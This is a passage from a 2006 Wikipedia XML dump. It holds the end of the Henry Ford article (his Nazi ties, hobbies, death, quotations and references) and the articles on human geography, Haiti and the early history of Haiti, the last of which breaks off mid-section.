In the years between the wars, Henry Ford supported [[Adolf Hitler]]'s [[Nazi]] regime. His support abated as the United States entered [[World War II]]. There is also some evidence that Henry Ford gave Adolf Hitler direct financial backing when Hitler was first starting out in politics. This can, in part, be traced to statements from Kurt Ludecke, Germany's representative to the U.S. in the 1920s, and [[Winifred Wagner]], daughter-in-law of [[Richard Wagner]], who said they requested funds from Ford to aid the National Socialist movement in [[Germany]]. However, a 1933 [[Congress of the United States|Congressional]] investigation into the matter was unable to substantiate whether contributions were actually sent. Regardless of whether direct financial support was provided, Ford repeatedly voiced his overt approval of Hitler's theories.

Ford's indirect financial backing of the Nazis was also undeniable, as Ford Motor Company was active in Germany's military buildup prior to World War II. In 1938, for instance, Ford assisted to construct an assembly plant in Berlin, the purpose of which was to supply trucks to the [[Wehrmacht]]. Forced labor was employed to produce 78,000 trucks and 14,000 track vehicles. In July of that year, Ford was awarded (and accepted) the Grand Cross of the German Order of the Eagle (''Großkreuz des Deutschen Adlerordens''). Ford was the first American and the fourth person given this award, at the time [[Nazi Germany]]'s highest honorary award given to foreigners. The decoration was given &quot;in recognition of [Ford's] pioneering in making motor cars available for the masses.&quot; The award was accompanied by a personal congratulatory message from Adolf Hitler.{{ref|Detroit}} A portrait of Ford was hung at the Nazi party's headquarters in [[Munich]]. In Max Wallace's 2003 book, ''The American Axis'', he recounts how a Detroit News columnist named Annetta Antona arrived at the headquarters to interview Hitler in 1931. When she asked the future [[Führer]] about the portrait, he told her, &quot;I regard Henry Ford as my inspiration.&quot;

Drawing on Ford's long-standing involvement with Nazi causes and anti-semitism, [[Philip Roth]] imagined him as Secretary of Interior in an imaginary (and Nazi-aligned) Lindbergh administration in his bestselling 2005 novel ''[[The Plot Against America]]''.

== Hobbies and interests ==
Ford had an interest in what today would be known as &quot;[[Americana]]&quot;.  In the 1920s, Ford began work to turn [[Sudbury, Massachusetts]] into an Americana-themed historical village. He moved the townhouse referred to in the [[nursery rhyme]] [[Mary had a little lamb]] from [[Sterling, Massachusetts]] and purchased the historical [[Wayside Inn]]. This plan never saw fruition, but Ford repeated it with the creation of [[Greenfield Village]] in [[Dearborn, Michigan]]. It may have inspired the creation of [[Old Sturbridge Village]] as well. About the same time, he began collecting materials for his museum, which had a theme of practical technology. It was opened in 1929 as the Edison Institute and, although greatly modernized, remains open today.

Ford also had an interest in [[American folk music]], which he shared with his friend [[Lloyd Shaw|Dr. Lloyd Shaw]],  and frequently sponsored [[square dance]]s, one of his particular interests. 

Ford was an early promoter of aviation, building the [[Dearborn Inn]] as the first airport hotel. (The airfield was across the street and is now the site of a [[Ford Motor Company]] test track.)  He heavily sponsored the [[Stout Metal Airplane Company]], which developed the [[Ford Tri-Motor]], an early airliner.

Ford also maintained a vacation residence (known as the &quot;Ford Plantation&quot;) in [[Richmond Hill, Georgia]]. He contributed substantially to the community, building a chapel and schoolhouse and employing a large number of local residents. His knowledge of the Ontario town of the same name is believed to have led to the renaming of the Georgia town, formerly known as Ways Station.

== The Ford Foundation ==
Henry Ford, with his son Edsel, founded the [[Ford Foundation]] in 1936 as a local philanthropic organization with a broad charter to promote human welfare, as well as to commemorate life the way it was in the early 1900s. The Foundation has grown immensely and, by 1950, had become international in scope. The foundation no longer has any association with the [[Ford Motor Company]], nor with the family or descendants of Henry Ford.{{ref|FordFound}}

== Death ==
Ford suffered an initial [[stroke]] in 1938, after which he turned over the running of his company to Edsel. Edsel's 1943 death brought Henry Ford out of retirement. In ill health, he ceded the presidency to his grandson [[Henry Ford II]] on [[September 21]], [[1945]], and went into retirement. He died in 1947 of a [[cerebral hemorrhage]] at the age of 83 in Fair Lane, his Dearborn estate, and is buried in the Ford Cemetery in Detroit.

==Quotations==
*&quot;History is more or less bunk. It's tradition. We don't want tradition. We want to live in the present, and the only history that is worth a tinker's damn is the history we make today.&quot;
*&quot;The international financiers are behind all war. They are what is called the International Jew -- German Jews, French Jews, English Jews, American Jews. I believe that in all these countries except our own the Jewish financier is supreme... Here, the Jew is a threat.&quot;
*&quot;Nothing is particularly hard, as long as you divide it into small jobs.&quot;
*&quot;Anyone who stops learning is old, whether at twenty or eighty. Anyone who keeps learning stays young. The greatest thing in life is to keep your mind young.&quot;

== See also ==
* [[Berry College]]
* ''[[Brave New World]]'', a fictional story about a future world built around [[Fordism]]
* [[Detroit, Toledo and Ironton Railroad]]
* [[Edison and Ford Winter Estates]]
* [[Fair Lane]]
* [[Fordlândia]]
* [[William B. Mayo]]
* [[Dodge v. Ford Motor Company]]
* [[Ragtime (novel)|Ragtime]], a 20's era novel that includes Ford in parts of the story

==Notes==
&lt;!-- Instructions for adding a footnote:
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9.
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately proceeds yours in the article body.
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
     5) Multiple footnotes to the same reference will not work: you must insert two uniquely named footnotes.
   NOTE: It is important to add the Footnote in the right order in the list.
--&gt;
#{{note|Ford1}} Ford, ''My Life and Work'', 22; Nevins and Hill, ''Ford: The Times, the Man, the Company'' (TMC), 54-55.
#{{note|Ford2}} Ford, ''My Life and Work'', 22-24; Nevins and Hill, ''Ford TMC'', 58.
#{{note|Ford3}} Ford, ''My Life and Work'', 24; Edward A. Guest &quot;Henry Ford Talks About His Mother,&quot; ''American Magazine'', July, 1923, 11-15, 116-120. 
#{{note|Black}} Wallace 2003, p. 123.
#{{note|Senate}} [http://www.senate.gov/artandhistory/history/minute/Senator_Condemned_for_Excessive_Campaign_Expenditures.htm Senator &quot;Condemned&quot; for Excessive Campaign Expenditures], United States Senate, Historical Minutes.
#{{note|Odyssey}}[http://www.pbs.org/wgbh/aso/databank/entries/btford.html Henry Ford], A Science Odyssey, People and Discoveries.
#{{note|Detroit}} ''Detroit News'', July 31, 1938.
#{{note|FordFound}} [http://www.fordfound.org/about/faq_other.cfm FAQ], Ford Foundation.
&lt;!--READ ME!! PLEASE DO NOT JUST ADD NEW NOTES AT THE BOTTOM. See the instructions above on ordering. --&gt;

== References ==
{{wikiquote}}

* Lee, Albert; ''Henry Ford and the Jews''; Rowman &amp; Littlefield Publishers, Inc., 1980; ISBN 0-81-282701-5 
* Baldwin, Neil; ''Henry Ford and the Jews: The Mass Production of Hate''; PublicAffairs, 2000; ISBN 1-58-648163-0
* Ford, Henry and Crowther, Samuel; ''My Life and Work'', 1922
* Wallace, Max ''The American Axis: Henry Ford, Charles Lindbergh, and the Rise of the Third Reich''; ISBN 0312335318
* Bryan, Ford R. ''Henry's Lieutenants'', 1993; ISBN 0-8143-2428-2
* {{cite journal | author=Daniel M. G. Raff and Lawrence H. Summers | title=Did Henry Ford Pay Efficiency Wages? | journal=Journal of Labor Economics | year=October 1987 | volume=5 | issue=4 | pages=S57-S86}}
* ''The Nation'', January 24, 2000.
* Levinson, William A. ''Henry Ford's Lean Vision: Enduring Principles from the First Ford Motor Plant'', 2002; ISBN 1-56327-260-1
* Ford, Henry and Crowther, Samuel; ''Today and Tomorrow'', 1926
* Ford, Henry and Crowther, Samuel; ''Moving Forward'', 1930
* Bennett, Harry, as told to Paul Marcus. ''Ford: We Never Called Him Henry'', 1951
* Sorensen, Charles E., with Samuel T. Williamson. ''My Forty Years with Ford'', 1956; ISBN 0915299364
* Higham, Charles, ''Trading With The Enemy'' 1983
* [http://www.hfha.org/ The Henry Ford Heritage Association]
* [http://www.detnews.com/2001/hometech/0112/12/d01-364560.htm Review of] Henry Ford and the Jews
* [http://www.kuhistory.com/proto/story.asp?id=42 Article about the 1916 Peace Ship expedition]
* Full text of ''[http://www.gutenberg.net/etext/7213 My Life and Work]'' from [[Project Gutenberg]]
** [http://www.opendepth.com/node/545 My Life and Work], adapted from the Gutenberg Project version, with contextual links to Wikipedia.
* [http://www.historycooperative.org/journals/llt/51/pauwels.html American Corporate Support for Nazis]
* [http://www.quotationsbook.com/authors/2560/Henry_Ford Notable quotations and speech excerpts]
* {{gutenberg author| id=Henry+Ford+(1863-1947) | name=Henry Ford}}
[[Category:1863 births|Ford, Henry]]
[[Category:1947 deaths|Ford, Henry]]
[[Category:Anti-Semitic people|Ford, Henry]]
[[Category:Autodidacts|Ford, Henry]]
[[Category:Automotive pioneers|Ford, Henry]]
[[Category:Business leaders|Ford, Henry]]
[[Category:Ford executives|Ford, Henry]]
[[Category:International Motorsports Hall of Fame|Ford, Henry]]
[[Category:Irish-Americans|Ford, Henry]]
[[Category:People from Michigan|Ford, Henry]]

==Timeline==
*1863 Birth of Henry Ford
*1876 Death of Mary Litogot, his mother
*1880 [[Media:1880_census_Ford.gif|US Census]]
*1891 Working at Edison Illuminating Company
*1893 Birth of Edsel Bryant Ford, his son
*1903 Creation of Ford Motor Company
*1905 Death of William Ford, his father
*1916 Marriage of Edsel to Eleanor Lowthian Clay
*1917 Birth of Henry Ford II, his grandson
*1919 Birth of Benson Ford, his grandson
*1943 Death of Edsel Bryant Ford
*1947 Death of Henry Ford

[[ar:هنري فورد]]
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[[Category:Freemasons|Ford]]
[[Category:Nazi sympathizers]]</text>
    </revision>
  </page>
  <page>
    <title>Human geography</title>
    <id>13372</id>
    <revision>
      <id>42006845</id>
      <timestamp>2006-03-03T04:29:44Z</timestamp>
      <contributor>
        <username>Rfrisbie</username>
        <id>896545</id>
      </contributor>
      <comment>added social sciences link</comment>
      <text xml:space="preserve">'''Human geography''' is a branch of [[geography]] that focuses on the systematic study of patterns and processes that shape human interaction with the environment, with particular reference to the causes and consequences of the spatial distribution of human activity on the Earth's surface. It encompasses [[human]], [[political]], [[cultural]], [[social]], and [[economics|economic]] aspects of the [[social sciences]]. While the major focus of human geography is not the physical landscape of the Earth (see [[physical geography]]) it is hardly possible to discuss human geography without referring to the physical landscape on which human activities are being played out, and [[environmental geography]] is emerging as an important link between the two. 

==Fields of human geography==
{| class=&quot;wikitable&quot;
|-
!Fields of Human Geography!!Related Fields
|-
|[[Behavioral geography]]  || [[Psychology]]
|-
|[[Cultural region|Cultural geography]] || [[Anthropology]] and [[Sociology]]
|-
|[[Development geography]] || [[Economic development]]
|-
|[[Economic geography]] || [[Economics]]
|-
|[[Environmental geography]] || [[Environmental science]]
|-
|[[Feminist geography]] || [[Feminism]]
|-
|[[Historical geography]] || [[History]]
|-
|[[Language geography]] || [[Linguistics]]
|-
|[[Marketing geography]] || [[Business]]
|-
|[[Medical geography]] || [[Health Science]]
|-
|[[Military geography]] || [[Geostrategy]]
|-
|[[Political geography]] || [[Political science]] (including [[Geopolitics]])
|-
|[[Population geography]] || [[Demography]]
|-
|[[Regional science]] || [[Regionalisation]]
|-
|[[Religion geography]] || [[Religion]]
|-
|[[Social geography]] || [[Sociology]]
|-
|[[Strategic geography]] || [[Geostrategy]]
|-
|[[Urban geography]] || [[Urban studies]] and [[Urban planning|Planning]]
|-
|}

==See also==
*[[Countries of the world]]
*[[Country]]
*[[Nation]]
*[[Nation-state]]
*[[Personal union]]
*[[Political geography]]
*[[State]]

==External links==
*http://www.collegeboard.com/student/testing/ap/sub_humangeo.html
*http://www.geog.le.ac.uk/cti/hum.html
* [http://www.commoncensus.org CommonCensus Map Project] - Drawing a human-geographic map of the United States based on votes from its website

==References==
* {{cite book | last = Blij | first =  H.J. de  | coauthors =  Murphy, Alexander B. | title = Human Geography: Culture, Society, and Space | edition = 7th edition | publisher = John Wiley &amp; Sons, Inc | year = 2000 | id = ISBN 0-471-44107-4 }}

[[Category:Anthropology]]
[[Category:Human geography|*]]
[[Category:Geography]]
[[Category:Social sciences]]

[[ca:Geografia humana]]
[[es:Geografía humana]]
[[fr:Géographie humaine]]
[[hr:Antropogeografija]]
[[ko:인류지리학]]
[[pl:Antropogeografia]]
[[pt:Geografia humana]]
[[sv:Kulturgeografi]]
[[zh:人文地理學]]</text>
    </revision>
  </page>
  <page>
    <title>Haiti</title>
    <id>13373</id>
    <revision>
      <id>42113690</id>
      <timestamp>2006-03-03T22:33:58Z</timestamp>
      <contributor>
        <username>Radix99</username>
        <id>903306</id>
      </contributor>
      <text xml:space="preserve">{{Template:Haiti infobox}}The '''Republic of Haiti''' is a country situated on the western third of the Caribbean island [[Hispaniola]] and also includes the smaller islands of La Gonâve, La Tortue ([[Tortuga]]), Les Cayemites, and Ile a Vache. Haiti shares Hispaniola with the [[Dominican Republic]]. The total land area of Haiti is 10,714 [[square mile]]s (27,750&amp;nbsp;[[square kilometre|km²]]) and its capital is [[Port-au-Prince]] on the main island of Hispaniola.

A former [[French colonization of the Americas|French colony]], it was the second country in [[the Americas]], after the [[United States]], to declare its independence in 1804. In spite of its longevity, it is the most impoverished nation in the [[Western Hemisphere]]. Haiti is currently in a state of transition following a coup d'etat (''see'' [[2004 Haiti rebellion]]) which deposed President [[Jean-Bertrand Aristide]] on [[February 29]], [[2004]]; he had been re-elected in [[2000]] in an election which several opposition parties boycotted due to disputes with the vote counting of the parlimentary elections.

==History==
''Main article: [[History of Haiti]]''

The island of [[Hispaniola]], of which Haiti occupies the western half, was claimed for Spain by [[Christopher Columbus]] in 1492, but in 1697 [[Spain]] ceded it to [[France]]. French settlers imported African slaves whose descendants became most of the population. The colony was ruled by a small minority of Europeans and mulattos. In 1796, stimulated by the ideals of the French revolution, the slaves revolted, and after prolonged fighting Haiti became an independent republic in 1804. 

Haiti has always been one of the poorest and most poorly-governed countries in the Americas. Through the 19th century it was ruled by a series of dictators of varying degrees of incompetence. The outside world took little notice until 1915, when the country's unpayable debt led to [[United States occupation of Haiti (1915-1934)|American occupation]]. The US introduced a constitution (written by [[Franklin D. Roosevelt]]) and other reforms.  That said, the occupation also had many long-lasting (and oft-regarded as ill) effects on the country--most notably centralization of government and industry from the provices to the capital (which resulted in the rural exodus which continues today).  Additionally the occupation resulted in the creation of an American-trained National Army which in future decades would be said to commit many atrocities against its own people.  The occupation began dissolving in the late 1920's and ended with complete American troop withdrawl in 1934. 

The Americans left Haiti in the hands of the mulatto minority, but in 1946 [[Dumarsais Estimé]] became the country's first black president. His efforts at reform sparked disorders and a coup in 1950, followed by renewed dictatorship. In 1957 Dr [[François Duvalier]] (&quot;Papa Doc&quot;) came to power and established a personal dictatorship which lasted until his death in 1971, when he was succeeded by his son [[Jean-Claude Duvalier]] (&quot;Baby Doc&quot;). Duvalier junior was deposed in 1986, leading to a further period of upheaval. 

The charismatic black leader [[Jean-Bertrand Aristide]] was elected President in 1991, but deposed in a coup shortly after.  This led to three years of brutal control by a military junta which spawned a renewed American occupation in 1994 that ultimately returned Aristide to power. He was succeeded by [[René Préval]] in 1996, but returned to office in 2001 after elections widely regarded as rigged. In February 2004 he was again overthrown. 

In the wake of Aristide's removal, Supreme Court Chief Justice [[Boniface Alexandre]] succeeded to the Presidency in accordance with the stipulations of the [[wikisource:Constitution of Haiti|1987 constitution]]). Elections were held in February 2006, and René Préval was again elected President. See [[Haitian elections, 2006]]

==Politics==
''Main article: [[Politics of Haiti]]''

Haiti is a presidential [[republic]] with an elected president and National Assembly. However, some claim it to be an [[authoritarian]] government in practice. On [[29 February]] [[2004]], a [[2004 Haiti rebellion|rebellion]] culminated in the defacto resignation of president [[Jean-Bertrand Aristide]] and it is unknown if the current political structure will remain.

The [[constitution]] was introduced in [[1987]] under the administration of [[Leslie Manigat]] and is modeled on those of the [[United States]] and [[France]]. Having been either completely or partially suspended for some years, it was fully reinstated in [[1994]]. Since, and as a result of, the aforementioned coup, the future of the 1987 Constitution has fallen into doubt, even though the planned elections for the Presidency, Parliament, and local governments are being held in accordance with its terms.

See [[List of Presidents of Haiti]], [[Haitian elections, 2006|2006 Haitian Elections]], [[2000 Haitian Elections]], [[1995 Haitian Elections]], [[1990 Haitian Elections]], and the [[Constitution of Haiti]].

==Departments==
''Main article: [[Departments of Haiti]]''

Haiti is divided into ten departments (provinces):
*[[Artibonite Department|Artibonite]]
*[[Centre Department|Centre]]
*[[Grand'Anse Department|Grand'Anse]]
*[[Nippes Department|Nippes]]
*[[Nord Department|Nord]]
*[[Nord-Est Department|Nord-Est]]
*[[Nord-Ouest Department|Nord-Ouest]]
*[[Ouest Department|Ouest]]
*[[Sud Department|Sud]]
*[[Sud-Est Department|Sud-Est]]

[[Image:Haiti_map.png|framed|Map of Haiti]]

==Geography==
''Main article: [[Geography of Haiti]]''

Haiti's terrain consists mainly of rugged mountains with small coastal plains and river valleys. The east and central part is a large elevated plateau.

In 1925, Haiti was a lush island paradise, with 60% of its original forest covering the lands and mountainous regions.  Over the years, the population cut down 95% of its trees and in the process destroyed fertile farmland soils.   Now the mountains are bare down to the bedrock.  Pictures from space glaringly show this stark contrast compared to Haiti's neighbour the [[Dominican Republic]].  Charcoal production by low-income labor accounts for the bulk of Haitian logging. There has also been dispute between the United States and Haiti about Navassa Island which both countries claim, although it is documented that Navassa Island became part of Haiti after the French signed a territory deal with Spain in 1697 which gave France the western third of the island, including Navassa island which France lost control to the Haitians after the Haitian revolution

This deforestation led to soil erosion and flooding as seen on [[September 17]], [[2004]]. [[Hurricane Jeanne #Haiti|Tropical storm Jeanne]] skimmed the north coast of Haiti leaving 3006 people dead in flooding and mudslides, mostly in the city of [[Gonaïves]].
[http://www.orlandosentinel.com/sfl-0923haitigallery,0,7266223.photogallery]

==Economy==
''Main article: [[Economy of Haiti]]''

Haiti remains the least-developed country in the Western Hemisphere and one of the poorest in the world. Comparative social and economic indicators show Haiti falling behind other low-income developing countries (particularly in the hemisphere) since the 1980s. Haiti now ranks 153rd of 177 countries in the UN&amp;#8217;s [[Human Development Index]].

About 80% of the population lives in abject poverty, making it the second poorest country in the world. Nearly 70% of all Haitians depend on the agriculture sector, which consists mainly of small-scale subsistence farming and employs about two-thirds of the economically active work force. The country has experienced little job creation since President [[René Préval]] took office in February [[1996]], although the [[informal economy]] is growing. Failure to reach agreements with international sponsors have denied Haiti badly needed budget and development assistance.

==Demographics==
''Main article: [[Demographics of Haiti]]''

Although Haiti averages about 270 people per square kilometer (699/mi²), its population is concentrated most heavily in urban areas, coastal plains, and valleys. About 95% of Haitians are of predominant African descent with caucasian and taino admixture(Although due to the massive rape by the French, most Haitians show a strain of European ancestry averaging about 10%, and many also have a small percentage of [[Taíno]] ancestry). The rest of the population is mostly [[mulatto]], or mixed [[whites|Caucasian]]-African ancestry. A few are of [[European]] or [[Levantine]] heritage. About two thirds of the population live in rural areas. The biggest city is the capital [[Port-au-Prince]] with 2 million inhabitants, followed by [[Cap-Haïtien]] with 600,000.Nearly all Haitians speak [[Haitian Creole|Kreyòl]] (Creole), the country's  official language. [[French language|French]] is the other official language only spoken by about 10% of the population.[[Roman Catholicism]] is the state religion, which the majority professes. Some have converted to [[Protestantism]].  Protestant churches of numerical strength are [[Assemblies_of_God|Assemblées de Dieu]], the [[Convention Baptiste d'Haïti]], the [[Seventh-day Adventist Church|Seventh-day Adventists]], the [[Church of God (Cleveland)]], the [[Church of the Nazarene]], the [[Episcopalian|Église Episcopale d'Haiti]] and the [[Mission Evangelique Baptiste du Sud-Haiti]].

==Culture==
''Main articles: [[Culture of Haiti]], [[Music of Haiti]]''

==See also==
''[[Little Haiti]]''

== External links ==
{{sisterlinks|Haiti}}



'''News'''

*[http://www.haitiprogres.com], news briefs in several languages.
*[http://www.canadahaitiaction.ca], Articles and News Focusing in on Canada's Role in Haiti
*[http://www.hayti.net/], Website of Haitian Populat Movement Fanmi Lavalas
*[http://www.outofhaiti.ca], Articles and News Focusing in on Canada's Role in Haiti
*[http://www.zmag.org/lam/haitiwatch.cfm], ZMag analysis on current situation in Haiti 
*[http://www.lethaitilive.org/pmwiki.php], Coalition of Organizations in US for Haiti justice
*[http://www.alterpresse.org AlterPresse], news briefs in several languages.
*[http://www.ifex.org/20fr/content/view/full/118/ IFEX] independent news
*[http://www.HavenWorks.com/world/haiti  Haiti News]
*[https://listhost.uchicago.edu/mailman/listinfo/haiti-news Haiti-news list], Haitian news
*[http://news.yahoo.com/fc/World/Haiti/ Yahoo News Full Coverage]

'''History'''
*[http://www.haiti.org/keydate.htm Key Dates in Haitian History], Embassy of Haiti.
*[http://www.kreyol.com/history.html People in Haitian History], Founders and Heroes of Haiti.
*[http://www.webster.edu/~corbetre/haiti/history/history.htm Bob Corbett's Haitian History Page], for more in-depth information about Haitian History and Literature.
*[http://www.webster.edu/~corbetre/haiti/history/revolution/secret.htm], Napolean Secret Orders to General Leclerc
*[http://www.thediamondangle.com/marasco/negleg/trujillo.html 1937 Massacres], information about the 1937 Massacre of 18,000 Haitians by Dominican President, Rafael Trujillo.

'''Other'''
*[http://www.haitixchange.com HaitiXchange.com], Haitian, People, News, and Culture.
*[http://www.haitiinnovation.org Haiti Innovation], blog and development projects in Haiti
*[http://www.haitiaction.com Haiti Action]
*[http://www.haitipolicy.org Haiti Democracy Project]
*[http://www.travelinghaiti.com/  Haitian History, Maps and News]
*[http://www.haitisupport.gn.apc.org  Haiti Support Group]
*[http://www.nchr.org  National Coalition for Haitian Rights]
*[http://www.palaisnational.info/  National Palace]
*[http://www.sakapfet.com/  Sakapfet Online]
*[http://www.haiti-progres.com/eng07-06.html/ Haiti Progres]
*[http://dir.groups.yahoo.com/dir/1600014114 Yahoo Group Directory for Regional &gt; Countries &gt; Haiti]
*[http://dir.groups.yahoo.com/dir/1600444519 Yahoo Group Government &amp; Politics Directory]
*[http://dir.groups.yahoo.com/dir/1600103560 Yahoo Group Directory - Haitian American]
*[http://dir.groups.yahoo.com/dir/1604146720 Yahoo Group Directory - Romance and Relationships]
*[http://kiskeyacity.blogspot.com/ Blog for Haitianists]
*[http://www.nhsai.org National Haitian Student Alliance]
*[http://www.fhsai.org Florida Haitian Student Association]
*[http://www.njhsai.org New Jersey Haitian Student Association]
*[http://www.montclair.edu/orgs/hsa Haitian Student Association at Montclair State University]
*[http://kiskeyacity.blogspot.com/2005/11/second-generation-nation-mill-polyn.html Second Generation Haitian-American (Interview)]
*[http://members.tripod.com/~HaitiPhoto/A week in the life of - Haiti Cherie...A photobook project...]
*[http://www.aanhaiti.com/aan/indexpage.asp?b=ns Autorite Aeroportuaire Nationale d'Haiti (AAN)]
* [http://thelouvertureproject.org/wiki/ The Louverture Project] - Haitian History Wiki
*[http://www.pwofansanm.org/ Pwof Ansanm] - educational iniative in Haiti
*[http://www.hastingshumanrights.org/ Hastings Human Rights Project for Haiti] - A student led project which lodged a complaint on behalf of former PM Yvon Neptune
*[http://www.ijdh.org/ Institute for Justice and Democracy in Haiti] - News and human rights activism for Haiti with weekly newsletter

[[Category:Haiti|Haiti]]

{{West_Indies}}

{{Caricom}}


[[Category:CARICOM member states]]
[[Category:Republics]]

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    </revision>
  </page>
  <page>
    <title>History of Haiti</title>
    <id>13374</id>
    <revision>
      <id>42113619</id>
      <timestamp>2006-03-03T22:33:29Z</timestamp>
      <contributor>
        <username>Radix99</username>
        <id>903306</id>
      </contributor>
      <comment>Fixed occupation link</comment>
      <text xml:space="preserve">The recorded '''history of Haiti''' began when the island of [[Hispaniola]] was discovered by [[Christopher Columbus]] in December 1492. It was at that time inhabited by the [[Arawak]] (or [[Taíno]]), a [[Native American]] people, who called the island Haiti. Columbus established a small settlement near [[Cap-Haitien]], but when he returned in 1493 the settlers had disappeared, presumably killed. He claimed the whole island for [[Spain]], and left his brother [[Bartholomew Columbus]] to found a new settlement. But the Spanish never established a firm presence in the western part of the island, and it became a base for French and English pirates. In 1664 the French claimed the western third of the island, and 1697, by the [[Treaty of Ryswick]], Spain recognised this claim....

Following the arrival of Europeans, Haiti's indigenous population suffered near-extinction, in possibly the worst case of depopulation in the Americas. This demographic collapse has been attributed by many to deliberate [[genocide]] on the part of the Spanish. The [[Catholic]] [[priest]] and contempory [[historian]] [[Bartolomé de Las Casas]] wrote in his multi-volume ''[[History of the Indies]]'' (1527-61): 
:There were 60,000 people living on this island (when I arrived in 1508), including the Indians; so that from 1494 to 1508, over three million people had perished from war, slavery and the mines. Who in future generations will believe this? 

It is thought by many historians today that Las Casas's figures for the pre-contact levels of the Arawak population were an exaggeration and that a figure of slightly over a million original inhabitants is more likely. The high mortality in Haiti can be attributed at least in part to murder, forced labour and repression, but experience elsewhere suggests that the loss was largely the result of the unintended introduction of [[Old World]] diseases, to which the inhabitants had no resistance. 

==Colonial Haiti==

Following the cession of Haiti to France, French planters established sugar and coffee plantations, making [[Saint-Domingue]], as the French portion of the island was known, the &quot;pearl of the Antilles&quot; &amp;ndash; one of the richest colonies in the 18th century French empire. By the 1780s Saint-Domingue produced about 40 percent of all the sugar and 60 percent of all the coffee consumed in Europe. This single colony, roughly the size of [[Maryland]] or [[Belgium]], produced more sugar and coffee than all of Britain's West Indian colonies combined. 

During this period, an estimated 790,000 African slaves were brought to work on [[sugarcane]] and [[coffee]] plantations (accounting in 1783-1791 for a third of the entire Atlantic [[slave trade]]), though inability to maintain slave numbers without constant resupply from Africa meant that at its end the population numbered only some 434,000, ruled by some 31,000 Whites. 

Saint-Domingue also had the largest and wealthiest [[free_people_of_color|free population of color]] in the [[History_of_the_Caribbean|Caribbean]], a group also known as the [[Gens_de_couleur|''gens de couleur'']]. The royal census of 1789 counted roughly 25,000 such persons. Typically they were the descendants of the enslaved women that French colonists took as mistresses. Though many free people of color were former slaves, most members of this class appear not to have been free Africans, but rather people of mixed European and African ancestry.

==The Revolutionary Period==

''Main article: [[Haitian Revolution]]''

The outbreak of [[French_Revolution|revolution in France]] in the summer of 1789 had a powerful effect on the colony. While the French settlers debated how new revolutionary laws would apply to Saint-Domingue, outright [[civil war]] broke out in 1790 when the free men of color claimed they too were French citizens under the terms of the [[Declaration_of_the_Rights_of_Man_and_of_the_Citizen|Declaration of the Rights of Man]].

On [[August 22]], [[1791]], slaves in the northern region of the colony staged a revolt that would eventually be known as the [[Haitian Revolution]]. The rebellion spread through the entire colony. The rebel slaves emerged as a powerful military force, eventually coming under the leadership of [[Toussaint L'Ouverture]], [[Jean-Jacques Dessalines]] and [[Henri Christophe]]. By [[1800]] Toussaint was in control of nearly the whole island, and was invited to negotiate a settlement in [[1802]]. But he had been deceived by the French, and was seized then deported to France, where he died in captivity in 1803.

The indigenous army, now led by Dessalines, defeated [[Charles Leclerc]] and the army sent by [[Napoleon I of France|Napoleon Bonaparte]] in November 1803, and declared the former colony's independence from France, reclaiming its indigenous name of Haiti.

[[Poles]] from the [[Polish Legions]] fought in Napoleon's army. Some of them refused to fight against blacks, and the rest treated them much better than the French did; also, a few Poles (around 100) actually joined the rebels. Moreover, one of the Polish generals - [[Wladyslaw Franciszek Jablonowski]] - was black. Therefore Poles were allowed to stay and were spared the fate of other whites (About 400 of the 5280 Poles chose this option. Of the remainder, 700 returned to France and many were - after capitulation - forced to serve in British units.) 160 Poles were later given permission to leave Haiti and were sent to France at Haitian expense . Today, descendants of those Poles who stayed are living in [[Casale]] and [[Fond Des Blancs]].

Upon assuming power, General Dessalines authorized the Constitution of 1805. This constitution, in terms of social freedoms, called for:

:1. Freedom of Religion (Under Toussaint [[Catholicism]] had been declared the official state religion);
:2. All citizens of Haiti, regardless of skin color, to be known as &quot;Black.&quot; (This was an attempt to eliminate the multi-tiered racial hierarchy which had developed in Haiti, with full-blooded Europeans at the top, various levels of light to brown skin in the middle, and dark skinned &quot;Kongo&quot; from Africa at the bottom). Despite guarantees of their safety, however, those French settlers who stayed in Haiti after independence were slaughtered on Dessalines' orders. 

Haiti is the world's oldest Black republic and the second-oldest republic in the Western Hemisphere, after the [[United States]]. Although Haiti actively assisted the independence movements of many Latin American countries, the independent nation of former slaves was excluded from the hemisphere's first regional meeting of independent nations, in [[Panama]] in [[1826]], and did not receive U.S. diplomatic recognition until [[1862]]. 

In January 1804 Dessalines, emulating Napoleon, proclaimed himself Emperor Jacques I, but his increasingly oppressive rule provoked his assassination in 1806, and the country was divided between the rival regimes of Christophe in the north and [[Alexandre Pétion]] in the south. In 1811 Christophe proclaimed himself King Henri I, but after his suicide in 1820 Haiti was reunited under Pétion's successor, [[Jean Pierre Boyer]], who ruled as president until his overthrow in 1843. He was forced to pay a huge indemnity to France for the loss of French property during the revolution. To pay this he had to float loans in France, putting Haiti into a state of debt from which it has seldom escaped.

Meanwhile, in 1808, Spain had reoccupied the eastern two-thirds of the island, which eventually became the [[Dominican Republic]]. When the Spanish settlers declared independence in 1821, Haiti invaded the country and annexed it, and it remained part of Haiti until 1844

==Political struggles==

In 1843 revolt led by [[Charles Riviere-Herard|Charles Rivière-Hérard]] overthrew Boyer and established a brief parliamentary rule under the Constitution of 1843. Revolts soon broke out and the country descended into near anarchy, with a series of transient presidents until March 1847, when General [[Faustin I of Haiti|Faustin Soulouque]], a former slave who had fought in the rebellion of 1791, became President. In 1849, taking advantage of his popularity, he proclaimed himself Emperor Faustin I. His iron rule succeeded in uniting Haiti for a time, but rule came to an abrupt end in 1858 when he was deposed by General [[Fabre Geffrard]], styled the Duke of Tabara.

Geffrard's military government held office until 1867, and he encouraged a policy of national reconciliation that worked surprisingly well. In 1860 he reached an agreement with the [[Roman Catholic Church|Vatican]], reintroducing official Roman Catholic institutions, including schools, to the nation. In 1867 an attempt was made to establish constitutional government, but successive presidents [[Sylvain Salnave]] and [[Nissage Saget]] were overthrown in 1869 and 1874 respectively. A more workable constitution was introduced under [[Michel Domingue]] in 1874, leading to a long period of democratic peace and development for Haiti. The debt to France was finally repaid in 1879, and Michel Domingue's government peacefully transferred power to [[Lysius Salomon]], one of Haiti's abler leaders. Monetary reform and a cultural renaissance ensued with a flowering of Haitian art.

